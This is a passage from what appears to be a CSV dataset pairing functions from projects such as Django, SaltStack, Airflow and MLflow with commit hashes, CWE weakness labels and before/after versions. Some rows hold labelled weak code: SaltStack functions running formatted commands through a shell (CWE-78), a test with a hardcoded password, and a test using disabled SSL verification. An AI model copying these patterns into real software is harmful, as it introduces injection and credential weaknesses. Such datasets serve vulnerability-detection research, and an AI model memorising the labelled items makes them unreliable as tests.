                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (self.connection.features.supports_foreign_keys and new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if drop_foreign_keys:
            for rel in new_field.model._meta.related_objects:
                if _is_relevant_relation(rel, new_field) and rel.field.db_constraint:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            constraint_name = self._create_index_name(model._meta.db_table, [new_field.column], suffix='_check')
            self.execute(self._create_check_sql(model, constraint_name, new_db_params['check']))
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            changes_sql, params = self._alter_column_default_sql(model, old_field, new_field, drop=True)
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": changes_sql,
            }
            self.execute(sql, params)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/tests/test_profiles.py,0,"def test_remove_profile(self):
        self.core.profiles.save_current_to_new_profile('unittest-remove')
        self.core.profiles.remove_profile('unittest-remove')

        self.assertRaises(BaseFrameworkException,
                          self.core.profiles.use_profile,
                          'unittest-remove')",,andresriancho/w3af,34e632f36bc5fc2ca0619d2e8fcea6713b04449d,"def test_remove_profile(self):
        self.core.profiles.save_current_to_new_profile('unittest-remove')
        self.core.profiles.remove_profile('unittest-remove')

        self.assertRaises(BaseFrameworkException,
                          self.core.profiles.use_profile,
                          'unittest-remove')"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_network.py,1,"def test__generate_minion_id_with_unicode_in_etc_hosts(self):
        '''
        Test that unicode in /etc/hosts doesn't raise an error when
        _generate_minion_id() helper is called to gather the hosts.
        '''
        content = textwrap.dedent('''\
        # 以下为主机名解析
        ## ccc
        127.0.0.1       localhost thisismyhostname     # 本机
        ''')
        fopen_mock = mock_open(read_data={'/etc/hosts': content})
        with patch('salt.utils.files.fopen', fopen_mock):
            assert 'thisismyhostname' in network._generate_minion_id()",CWE-703,saltstack/salt,55487c175c0b9fb5175277c2a4818e01252c2b8d,"def test__generate_minion_id_with_unicode_in_etc_hosts(self):
        '''
        Test that unicode in /etc/hosts doesn't raise an error when
        _generate_minion_id() helper is called to gather the hosts.
        '''
        content = textwrap.dedent('''\
        # 以下为主机名解析
        ## ccc
        127.0.0.1       localhost thisismyhostname     # 本机
        ''')
        fopen_mock = mock_open(read_data=content, match='/etc/hosts')
        with patch('salt.utils.files.fopen', fopen_mock):
            assert 'thisismyhostname' in network._generate_minion_id()"
,UNKNOWN,UNKNOWN,providers/tests/apache/hdfs/hooks/test_webhdfs.py,1,"def test_conn_insecure_ssl_without_schema(self, socket_mock, mock_insecure_client):
        with patch(
            ""airflow.providers.apache.hdfs.hooks.webhdfs.WebHDFSHook.get_connection"",
            return_value=Connection(host=""host_1"", port=123, extra={""use_ssl"": ""True"", ""verify"": False}),
        ) as mock_get_connection:
            socket_mock.socket.return_value.connect_ex.return_value = 0
            self.webhdfs_hook.get_conn()
            connection = mock_get_connection.return_value

            assert f""https://{connection.host}:{connection.port}"" == mock_insecure_client.call_args.args[0]
            assert not mock_insecure_client.call_args.kwargs[""session""].verify",CWE-703,apache/airflow,5b898ad63cb0e59308082bcc998b2947ac2422b6,"def test_conn_insecure_ssl_without_schema(self, socket_mock, mock_insecure_client):
        with patch(
            ""airflow.providers.apache.hdfs.hooks.webhdfs.WebHDFSHook.get_connection"",
            return_value=Connection(host=""host_1"", port=123, extra={""use_ssl"": ""True"", ""verify"": False}),
        ) as mock_get_connection:
            socket_mock.socket.return_value.connect_ex.return_value = 0
            self.webhdfs_hook.get_conn()
            connection = mock_get_connection.return_value

            assert f""https://{connection.host}:{connection.port}"" == mock_insecure_client.call_args.args[0]
            assert not mock_insecure_client.call_args.kwargs[""session""].verify"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/client.py,0,"def load_prompt(
        self,
        name_or_uri: str,
        version: Optional[int] = None,
        allow_missing: bool = False,
    ) -> Optional[Prompt]:
        """"""
        Load a :py:class:`Prompt <mlflow.entities.Prompt>` from the MLflow Prompt Registry.

        The prompt can be specified by name and version, or by URI.

        Example:

        .. code-block:: python

            from mlflow import MlflowClient

            client = MlflowClient(registry_uri=""sqlite:///prompt_registry.db"")

            # Load the latest version of the prompt by name
            prompt = client.load_prompt(""my_prompt"")

            # Load a specific version of the prompt by name and version
            prompt = client.load_prompt(""my_prompt"", version=1)

            # Load a specific version of the prompt by URI
            prompt = client.load_prompt(""prompts:/my_prompt/1"")

        Args:
            name_or_uri: The name of the prompt, or the URI in the format ""prompts:/name/version"".
            version: The version of the prompt. If not specified, the latest version will be loaded.
            allow_missing: If True, return None instead of raising Exception if the specified prompt
                is not found.
        """"""
        if name_or_uri.startswith(""prompts:/""):
            if version is not None:
                raise MlflowException(
                    ""The `version` argument should not be specified when loading a prompt by URI."",
                    INVALID_PARAMETER_VALUE,
                )
            name, version = self.parse_prompt_uri(name_or_uri)
        else:
            name = name_or_uri

        registry_client = self._get_registry_client()

        # Unity Catalog uses native prompt APIs
        if is_databricks_unity_catalog_uri(self._registry_uri):
            try:
                return registry_client.get_prompt(
                    name, str(version) if version is not None else None
                )
            except MlflowException as exc:
                if allow_missing and exc.error_code == ""RESOURCE_DOES_NOT_EXIST"":
                    return None
                raise

        try:
            mv = (
                registry_client.get_latest_versions(name, stages=ALL_STAGES)[0]
                if version is None
                else registry_client.get_model_version(name, version)
            )
        except MlflowException as exc:
            if allow_missing and exc.error_code == ""RESOURCE_DOES_NOT_EXIST"":
                return None
            raise

        # Fetch the prompt-level tags from the registered model
        prompt_tags = registry_client.get_registered_model(name)._tags
        return Prompt.from_model_version(mv, prompt_tags=prompt_tags)",,mlflow/mlflow,355b0feb0d53ff723aaf6d10b9bba862e3647685,"def load_prompt(
        self,
        name_or_uri: str,
        version: Optional[int] = None,
        allow_missing: bool = False,
    ) -> Prompt:
        """"""
        Load a :py:class:`Prompt <mlflow.entities.Prompt>` from the MLflow Prompt Registry.

        The prompt can be specified by name and version, or by URI.

        Example:

        .. code-block:: python

            from mlflow import MlflowClient

            client = MlflowClient(registry_uri=""sqlite:///prompt_registry.db"")

            # Load the latest version of the prompt by name
            prompt = client.load_prompt(""my_prompt"")

            # Load a specific version of the prompt by name and version
            prompt = client.load_prompt(""my_prompt"", version=1)

            # Load a specific version of the prompt by URI
            prompt = client.load_prompt(""prompts:/my_prompt/1"")

        Args:
            name_or_uri: The name of the prompt, or the URI in the format ""prompts:/name/version"".
            version: The version of the prompt. If not specified, the latest version will be loaded.
            allow_missing: If True, return None instead of raising Exception if the specified prompt
                is not found.
        """"""
        if name_or_uri.startswith(""prompts:/""):
            if version is not None:
                raise MlflowException(
                    ""The `version` argument should not be specified when loading a prompt by URI."",
                    INVALID_PARAMETER_VALUE,
                )
            name, version = self.parse_prompt_uri(name_or_uri)
        else:
            name = name_or_uri

        registry_client = self._get_registry_client()

        # Unity Catalog uses native prompt APIs
        if is_databricks_unity_catalog_uri(self._registry_uri):
            try:
                return registry_client.get_prompt(
                    name, str(version) if version is not None else None
                )
            except MlflowException as exc:
                if allow_missing and exc.error_code == ""RESOURCE_DOES_NOT_EXIST"":
                    return None
                raise

        try:
            mv = (
                registry_client.get_latest_versions(name, stages=ALL_STAGES)[0]
                if version is None
                else registry_client.get_model_version(name, version)
            )
        except MlflowException as exc:
            if allow_missing and exc.error_code == ""RESOURCE_DOES_NOT_EXIST"":
                return None
            raise

        # Fetch the prompt-level tags from the registered model
        prompt_tags = registry_client.get_registered_model(name)._tags
        return Prompt.from_model_version(mv, prompt_tags=prompt_tags)"
,UNKNOWN,UNKNOWN,django/db/models/sql/where.py,1,"def make_atom(self, child, qn, connection):
        """"""
        Turn a tuple (Constraint(table_alias, column_name, db_type),
        lookup_type, value_annotation, params) into valid SQL.

        The first item of the tuple may also be an Aggregate.

        Returns the string for the SQL fragment and the parameters to use for
        it.
        """"""
        lvalue, lookup_type, value_annotation, params_or_value = child
        if isinstance(lvalue, Constraint):
            try:
                lvalue, params = lvalue.process(lookup_type, params_or_value, connection)
            except EmptyShortCircuit:
                raise EmptyResultSet
        elif isinstance(lvalue, Aggregate):
            params = lvalue.field.get_db_prep_lookup(lookup_type, params_or_value, connection)
        else:
            raise TypeError(""'make_atom' expects a Constraint or an Aggregate ""
                            ""as the first item of its 'child' argument."")

        if isinstance(lvalue, tuple):
            # A direct database column lookup.
            field_sql, field_params = self.sql_for_columns(lvalue, qn, connection), []
        else:
            # A smart object with an as_sql() method.
            field_sql, field_params = lvalue.as_sql(qn, connection)

        is_datetime_field = value_annotation is datetime.datetime
        cast_sql = connection.ops.datetime_cast_sql() if is_datetime_field else '%s'

        if hasattr(params, 'as_sql'):
            extra, params = params.as_sql(qn, connection)
            cast_sql = ''
        else:
            extra = ''

        params = field_params + params

        if (len(params) == 1 and params[0] == '' and lookup_type == 'exact'
            and connection.features.interprets_empty_strings_as_nulls):
            lookup_type = 'isnull'
            value_annotation = True

        if lookup_type in connection.operators:
            format = ""%s %%s %%s"" % (connection.ops.lookup_cast(lookup_type),)
            return (format % (field_sql,
                              connection.operators[lookup_type] % cast_sql,
                              extra), params)

        if lookup_type == 'in':
            if not value_annotation:
                raise EmptyResultSet
            if extra:
                return ('%s IN %s' % (field_sql, extra), params)
            max_in_list_size = connection.ops.max_in_list_size()
            if max_in_list_size and len(params) > max_in_list_size:
                # Break up the params list into an OR of manageable chunks.
                in_clause_elements = ['(']
                for offset in xrange(0, len(params), max_in_list_size):
                    if offset > 0:
                        in_clause_elements.append(' OR ')
                    in_clause_elements.append('%s IN (' % field_sql)
                    group_size = min(len(params) - offset, max_in_list_size)
                    param_group = ', '.join(repeat('%s', group_size))
                    in_clause_elements.append(param_group)
                    in_clause_elements.append(')')
                in_clause_elements.append(')')
                return ''.join(in_clause_elements), params
            else:
                return ('%s IN (%s)' % (field_sql,
                                        ', '.join(repeat('%s', len(params)))),
                        params)
        elif lookup_type in ('range', 'year'):
            return ('%s BETWEEN %%s and %%s' % field_sql, params)
        elif is_datetime_field and lookup_type in ('month', 'day', 'week_day',
                                                   'hour', 'minute', 'second'):
            tzname = timezone.get_current_timezone_name() if settings.USE_TZ else None
            sql, tz_params = connection.ops.datetime_extract_sql(lookup_type, field_sql, tzname)
            return ('%s = %%s' % sql, tz_params + params)
        elif lookup_type in ('month', 'day', 'week_day'):
            return ('%s = %%s'
                    % connection.ops.date_extract_sql(lookup_type, field_sql), params)
        elif lookup_type == 'isnull':
            assert value_annotation in (True, False), ""Invalid value_annotation for isnull""
            return ('%s IS %sNULL' % (field_sql, ('' if value_annotation else 'NOT ')), ())
        elif lookup_type == 'search':
            return (connection.ops.fulltext_search_sql(field_sql), params)
        elif lookup_type in ('regex', 'iregex'):
            return connection.ops.regex_lookup(lookup_type) % (field_sql, cast_sql), params

        raise TypeError('Invalid lookup_type: %r' % lookup_type)",CWE-703,django/django,cbb9f629b88d97dd9a3f8d425fd56c8b80d7cddf,"def make_atom(self, child, qn, connection):
        """"""
        Turn a tuple (Constraint(table_alias, column_name, db_type),
        lookup_type, value_annotation, params) into valid SQL.

        The first item of the tuple may also be an Aggregate.

        Returns the string for the SQL fragment and the parameters to use for
        it.
        """"""
        lvalue, lookup_type, value_annotation, params_or_value = child
        if isinstance(lvalue, Constraint):
            try:
                lvalue, params = lvalue.process(lookup_type, params_or_value, connection)
            except EmptyShortCircuit:
                raise EmptyResultSet
        elif isinstance(lvalue, Aggregate):
            params = lvalue.field.get_db_prep_lookup(lookup_type, params_or_value, connection)
        else:
            raise TypeError(""'make_atom' expects a Constraint or an Aggregate ""
                            ""as the first item of its 'child' argument."")

        if isinstance(lvalue, tuple):
            # A direct database column lookup.
            field_sql, field_params = self.sql_for_columns(lvalue, qn, connection), []
        else:
            # A smart object with an as_sql() method.
            field_sql, field_params = lvalue.as_sql(qn, connection)

        is_datetime_field = value_annotation is datetime.datetime
        cast_sql = connection.ops.datetime_cast_sql() if is_datetime_field else '%s'

        if hasattr(params, 'as_sql'):
            extra, params = params.as_sql(qn, connection)
            cast_sql = ''
        else:
            extra = ''

        params = field_params + params

        if (len(params) == 1 and params[0] == '' and lookup_type == 'exact'
            and connection.features.interprets_empty_strings_as_nulls):
            lookup_type = 'isnull'
            value_annotation = True

        if lookup_type in connection.operators:
            format = ""%s %%s %%s"" % (connection.ops.lookup_cast(lookup_type),)
            return (format % (field_sql,
                              connection.operators[lookup_type] % cast_sql,
                              extra), params)

        if lookup_type == 'in':
            if not value_annotation:
                raise EmptyResultSet
            if extra:
                return ('%s IN %s' % (field_sql, extra), params)
            if not params:
                # Empty params would generate invalid sql in subquery
                raise EmptyResultSet

            max_in_list_size = connection.ops.max_in_list_size()
            if max_in_list_size and len(params) > max_in_list_size:
                # Break up the params list into an OR of manageable chunks.
                in_clause_elements = ['(']
                for offset in xrange(0, len(params), max_in_list_size):
                    if offset > 0:
                        in_clause_elements.append(' OR ')
                    in_clause_elements.append('%s IN (' % field_sql)
                    group_size = min(len(params) - offset, max_in_list_size)
                    param_group = ', '.join(repeat('%s', group_size))
                    in_clause_elements.append(param_group)
                    in_clause_elements.append(')')
                in_clause_elements.append(')')
                return ''.join(in_clause_elements), params
            else:
                return ('%s IN (%s)' % (field_sql,
                                        ', '.join(repeat('%s', len(params)))),
                        params)
        elif lookup_type in ('range', 'year'):
            return ('%s BETWEEN %%s and %%s' % field_sql, params)
        elif is_datetime_field and lookup_type in ('month', 'day', 'week_day',
                                                   'hour', 'minute', 'second'):
            tzname = timezone.get_current_timezone_name() if settings.USE_TZ else None
            sql, tz_params = connection.ops.datetime_extract_sql(lookup_type, field_sql, tzname)
            return ('%s = %%s' % sql, tz_params + params)
        elif lookup_type in ('month', 'day', 'week_day'):
            return ('%s = %%s'
                    % connection.ops.date_extract_sql(lookup_type, field_sql), params)
        elif lookup_type == 'isnull':
            assert value_annotation in (True, False), ""Invalid value_annotation for isnull""
            return ('%s IS %sNULL' % (field_sql, ('' if value_annotation else 'NOT ')), ())
        elif lookup_type == 'search':
            return (connection.ops.fulltext_search_sql(field_sql), params)
        elif lookup_type in ('regex', 'iregex'):
            return connection.ops.regex_lookup(lookup_type) % (field_sql, cast_sql), params

        raise TypeError('Invalid lookup_type: %r' % lookup_type)"
,UNKNOWN,UNKNOWN,salt/modules/network.py,1,"def in_subnet(cidr):
    '''
    Returns True if host is within specified subnet, otherwise False

    CLI Example::

        salt '*' network.in_subnet 10.0.0.0/16
    '''
    try:
        netstart, netsize = cidr.split('/')
        netsize = int(netsize)
    except Exception:
        log.error('Invalid CIDR \'{0}\''.format(cidr))
        return False

    netstart_bin = _ipv4_to_bits(netstart)

    if netsize < 32 and len(netstart_bin.rstrip('0')) > netsize:
        log.error('Invalid network starting IP \'{0}\' in CIDR '
                  '\'{1}\''.format(netstart, cidr))
        return False

    netstart_leftbits = netstart_bin[0:netsize]
    for ip_addr in ip_addrs():
        if netsize == 32:
            if netstart == ip_addr:
                return True
        else:
            ip_leftbits = _ipv4_to_bits(ip_addr)[0:netsize]
            if netstart_leftbits == ip_leftbits:
                return True
    return False",CWE-605,saltstack/salt,28113fe2e0db607b8d8e04fae25d4f37f3d4acc5,"def in_subnet(cidr):
    '''
    Returns True if host is within specified subnet, otherwise False

    CLI Example::

        salt '*' network.in_subnet 10.0.0.0/16
    '''
    try:
        netstart, netsize = cidr.split('/')
        netsize = int(netsize)
    except:
        log.error('Invalid CIDR \'{0}\''.format(cidr))
        return False

    netstart_bin = _ipv4_to_bits(netstart)

    if netsize < 32 and len(netstart_bin.rstrip('0')) > netsize:
        log.error('Invalid network starting IP \'{0}\' in CIDR '
                  '\'{1}\''.format(netstart, cidr))
        return False

    netstart_leftbits = netstart_bin[0:netsize]
    for ip_addr in ip_addrs():
        if netsize == 32:
            if netstart == ip_addr:
                return True
        else:
            ip_leftbits = _ipv4_to_bits(ip_addr)[0:netsize]
            if netstart_leftbits == ip_leftbits:
                return True
    return False"
,UNKNOWN,UNKNOWN,salt/utils/cloud.py,1,"def win_cmd(command, **kwargs):
    '''
    Wrapper for commands to be run against Windows boxes
    '''
    logging_command = kwargs.get('logging_command', None)

    try:
        proc = NonBlockingPopen(
            command,
            shell=True,
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stream_stds=kwargs.get('display_ssh_output', True),
            logging_command=logging_command,
        )

        if logging_command is None:
            log.debug(
                'Executing command(PID %s): \'%s\'',
                proc.pid, command
            )
        else:
            log.debug(
                'Executing command(PID %s): \'%s\'',
                proc.pid, logging_command
            )

        proc.poll_and_read_until_finish()
        proc.communicate()
        return proc.returncode
    except Exception as err:
        log.error(
            'Failed to execute command \'{0}\': {1}\n'.format(
                logging_command,
                err
            ),
            exc_info=True
        )
    # Signal an error
    return 1",CWE-78,saltstack/salt,20ed2c6bcf10dea1924c7d5e68d7ded4f3ac0b14,"def win_cmd(command, **kwargs):
    '''
    Wrapper for commands to be run against Windows boxes
    '''
    logging_command = kwargs.get('logging_command', None)

    try:
        proc = NonBlockingPopen(
            command,
            shell=True,
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stream_stds=kwargs.get('display_ssh_output', True),
            logging_command=logging_command,
        )

        if logging_command is None:
            log.debug(
                'Executing command(PID {0}): {1!r}'.format(
                    proc.pid,
                    command
                )
            )
        else:
            log.debug(
                'Executing command(PID {0}): {1!r}'.format(
                    proc.pid,
                    logging_command
                )
            )

        proc.poll_and_read_until_finish()
        proc.communicate()
        return proc.returncode
    except Exception as err:
        log.error(
            'Failed to execute command {0!r}: {1}\n'.format(
                logging_command,
                err
            ),
            exc_info=True
        )
    # Signal an error
    return 1"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_login(self):
        """"""
        Make sure only staff members can log in.

        Successful posts to the login page will redirect to the original url.
        Unsuccessful attempts will continue to render the login page with
        a 200 status code.
        """"""
        login_url = ""%s?next=%s"" % (reverse(""admin:login""), reverse(""admin:index""))
        # Super User
        response = self.client.get(self.index_url)
        self.assertRedirects(response, login_url)
        login = self.client.post(login_url, self.super_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Test if user enters email address
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.super_email_login)
        self.assertContains(login, ERROR_MESSAGE)
        # only correct passwords get a username hint
        login = self.client.post(login_url, self.super_email_bad_login)
        self.assertContains(login, ERROR_MESSAGE)
        new_user = User(username=""jondoe"", password=""secret"", email=""super@example.com"")
        new_user.save()
        # check to ensure if there are multiple email addresses a user doesn't get a 500
        login = self.client.post(login_url, self.super_email_login)
        self.assertContains(login, ERROR_MESSAGE)

        # View User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.viewuser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Add User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.adduser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Change User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.changeuser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Delete User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.deleteuser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Regular User should not be able to login.
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.joepublic_login)
        self.assertContains(login, ERROR_MESSAGE)

        # Requests without username should not return 500 errors.
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.no_username_login)
        self.assertEqual(login.status_code, 200)
        self.assertFormError(
            login.context[""form""], ""username"", [""This field is required.""]
        )",CWE-259,django/django,50e1e7ef8ef63271717f8bcab76d7151ccf4bb18,"def test_login(self):
        """"""
        Make sure only staff members can log in.

        Successful posts to the login page will redirect to the original url.
        Unsuccessful attempts will continue to render the login page with
        a 200 status code.
        """"""
        login_url = ""%s?next=%s"" % (reverse(""admin:login""), reverse(""admin:index""))
        # Super User
        response = self.client.get(self.index_url)
        self.assertRedirects(response, login_url)
        login = self.client.post(login_url, self.super_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Test if user enters email address
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.super_email_login)
        self.assertContains(login, ERROR_MESSAGE)
        # only correct passwords get a username hint
        login = self.client.post(login_url, self.super_email_bad_login)
        self.assertContains(login, ERROR_MESSAGE)
        new_user = User(username=""jondoe"", password=""secret"", email=""super@example.com"")
        new_user.save()
        # check to ensure if there are multiple email addresses a user doesn't get a 500
        login = self.client.post(login_url, self.super_email_login)
        self.assertContains(login, ERROR_MESSAGE)

        # View User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.viewuser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Add User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.adduser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Change User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.changeuser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Delete User
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.deleteuser_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.post(reverse(""admin:logout""))

        # Regular User should not be able to login.
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.joepublic_login)
        self.assertContains(login, ERROR_MESSAGE)

        # Requests without username should not return 500 errors.
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        login = self.client.post(login_url, self.no_username_login)
        self.assertEqual(login.status_code, 200)
        self.assertFormError(login, ""form"", ""username"", [""This field is required.""])"
,UNKNOWN,UNKNOWN,tests/jenkins.py,1,"def download_remote_logs(options):
    print('Downloading remote logs...')
    sys.stdout.flush()

    workspace = options.workspace
    vm_name = options.download_remote_logs

    for fname in ('salt-runtests.log', 'minion.log'):
        if os.path.isfile(os.path.join(workspace, fname)):
            os.unlink(os.path.join(workspace, fname))

    if not options.remote_log_path:
        options.remote_log_path = [
            '/tmp/salt-runtests.log',
            '/var/log/salt/minion'
        ]

    cmds = []

    for remote_log in options.remote_log_path:
        cmds.extend([
            'salt {{0}} archive.gzip {0}'.format(remote_log),
            'salt {{0}} cp.push {0}.gz'.format(remote_log),
            'gunzip /var/cache/salt/master/minions/{{1}}/files{0}.gz'.format(remote_log),
            'mv /var/cache/salt/master/minions/{{1}}/files{0} {{2}}/{1}'.format(
                remote_log,
                '{0}{1}'.format(
                    os.path.basename(remote_log),
                    '' if remote_log.endswith('.log') else '.log'
                )
            )
        ])

    for cmd in cmds:
        cmd = cmd.format(build_minion_target(options, vm_name), vm_name, workspace)
        print('Running CMD: {0}'.format(cmd))
        sys.stdout.flush()

        proc = NonBlockingPopen(
            cmd,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            stream_stds=True
        )
        proc.poll_and_read_until_finish()
        proc.communicate()
        if proc.returncode != 0:
            print(
                '\nFailed to execute command. Exit code: {0}'.format(
                    proc.returncode
                )
            )
        time.sleep(0.25)",CWE-78,saltstack/salt,283c459e20983c5ea24981a41a852a21ccd9c15d,"def download_remote_logs(options):
    print('Downloading remote logs...')
    sys.stdout.flush()

    workspace = options.workspace
    vm_name = options.download_remote_logs

    for fname in ('salt-runtests.log', 'minion.log'):
        if os.path.isfile(os.path.join(workspace, fname)):
            os.unlink(os.path.join(workspace, fname))

    if not options.remote_log_path:
        options.remote_log_path = [
            '/tmp/salt-runtests.log',
            '/var/log/salt/minion'
        ]

    cmds = []

    for remote_log in options.remote_log_path:
        cmds.extend([
            'salt {{0}} archive.gzip {0}'.format(remote_log),
            'salt {{0}} cp.push {0}.gz'.format(remote_log),
            'gunzip /var/cache/salt/master/minions/{{1}}/files{0}.gz'.format(remote_log),
            'mv /var/cache/salt/master/minions/{{1}}/files{0} {{2}}/{1}'.format(
                remote_log,
                '{0}{1}'.format(
                    os.path.basename(remote_log),
                    remote_log.endswith('.log') and '' or '.log'
                )
            )
        ])

    for cmd in cmds:
        cmd = cmd.format(build_minion_target(options, vm_name), vm_name, workspace)
        print('Running CMD: {0}'.format(cmd))
        sys.stdout.flush()

        proc = NonBlockingPopen(
            cmd,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            stream_stds=True
        )
        proc.poll_and_read_until_finish()
        proc.communicate()
        if proc.returncode != 0:
            print(
                '\nFailed to execute command. Exit code: {0}'.format(
                    proc.returncode
                )
            )
        time.sleep(0.25)"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def in_bulk(self, id_list=None):
        """"""
        Return a dictionary mapping each of the given IDs to the object with
        that ID. If `id_list` isn't provided, evaluate the entire QuerySet.
        """"""
        assert self.query.can_filter(), \
            ""Cannot use 'limit' or 'offset' with in_bulk""
        if id_list is not None:
            if not id_list:
                return {}
            batch_size = connections[self.db].features.max_query_params
            id_list = tuple(id_list)
            # If the database has a limit on the number of query parameters
            # (e.g. SQLite), retrieve objects in batches if necessary.
            if batch_size and batch_size < len(id_list):
                qs = ()
                for offset in range(0, len(id_list), batch_size):
                    batch = id_list[offset:offset + batch_size]
                    qs += tuple(self.filter(pk__in=batch).order_by())
            else:
                qs = self.filter(pk__in=id_list).order_by()
        else:
            qs = self._clone()
        return {obj._get_pk_val(): obj for obj in qs}",CWE-703,django/django,1b6f05e91f5d1f7aaf937522ead62836ab50fed8,"def in_bulk(self, id_list=None):
        """"""
        Return a dictionary mapping each of the given IDs to the object with
        that ID. If `id_list` isn't provided, evaluate the entire QuerySet.
        """"""
        assert self.query.can_filter(), \
            ""Cannot use 'limit' or 'offset' with in_bulk""
        if id_list is not None:
            if not id_list:
                return {}
            qs = self.filter(pk__in=id_list).order_by()
        else:
            qs = self._clone()
        return {obj._get_pk_val(): obj for obj in qs}"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/helpers.py,1,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=None,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    t = HandlerTaskInclude.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = TaskInclude.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = task_include
                    cumulative_path = None

                    found = False
                    while parent_include is not None:
                        parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, 'tasks', cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, 'tasks', include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
